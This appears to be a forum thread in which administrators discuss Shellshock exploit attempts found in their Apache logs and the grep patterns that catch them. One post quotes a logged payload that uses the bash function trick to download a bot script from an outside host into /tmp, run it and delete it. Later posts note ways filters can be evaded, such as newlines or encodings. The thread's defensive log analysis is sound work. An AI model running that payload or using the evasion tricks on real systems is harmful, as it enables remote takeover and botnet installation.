Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.
I've been tailing logs for "()" as I've seen a fair amount of () { :fake; } - () picks up some other lines, but I'd rather see everything rather than 90%
One thing they didn't mention about the base64 of example.comShellShockSalt is that as per use with Spammers finding emails that get reported on anti-spam boards, those initiating the probes can watch for reports and extract the identifier to see who said what. Why they would be interested in this sort of information, I have no clue, but it would be of use.
Not sure what the first one is doing, but the second one seems to be an exploit in a search engine for self-hosted websites and apparently a part of cpanel (or at least deployable via it).
"() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\""
I have several lines like this in my logs. So I guess that someone tried (or succeeded) to download a script to my machine, run it & delete it?
I think this could have happened before I patched & rebooted. How worried should I be?
Did some searching, looks like it tries to set up a botnet. One of the things this does is install nmap; the machine doesn't have nmap on it, makes me feel better.
I'm doing the same, and wondering to myself if that string is actually comprehensive. Are there variants, and if so can they be included as log search patterns without tons of false positives?
I've got lots of wget commands in there like guylhem noted, attempting to either drop a script (and clean up) or phone home to normal random websites that were unfortunately compromised. The phone home requests have all sorts of URIs containing things from my hostnames to unique IDs.
`:;' is not the best string to use to identify shellshock exploit attempts, as the contents of the function are ignored and can change.
Searching for `() {' _should_ (and I'm happy to be corrected here) find most attempts at exploiting, since that's the key sequence that triggers bash's "parse this environment variable as a function" behaviour.
Upon researching this, "() {" will always catch this.
If you look at the bash source code, the relevant parsing function checks if an environment variable begins with the literal 4-character string of "() {". That's why it's pretty easy to detect exploits: you can't do anything to evade a filter checking for this in an HTTP header. An HTTP server should not be doing any decoding of an HTTP header that could result in "() {" being obfuscated. This may not apply for attacks against things that aren't web apps, though.
Upon researching this, "() {" will always catch this.
Unless the input is decoded in some way before reaching an environment variable. E.g. HTML entities, hex escapes (percent or backslash), gzip, ... Best just to patch bash and switch to a different /bin/sh.
Some web servers helpfully remove some sorts of white space, like newlines. '() \n{' will get past many filters, then hit some CGIs behind such servers.
I would worry similarly about some mail headers being helpfully reassembled, then handed to procmail in environment variables.
One thing they didn't mention about the base64 of example.comShellShockSalt is that as per use with Spammers finding emails that get reported on anti-spam boards, those initiating the probes can watch for reports and extract the identifier to see who said what. Why they would be interested in this sort of information, I have no clue, but it would be of use.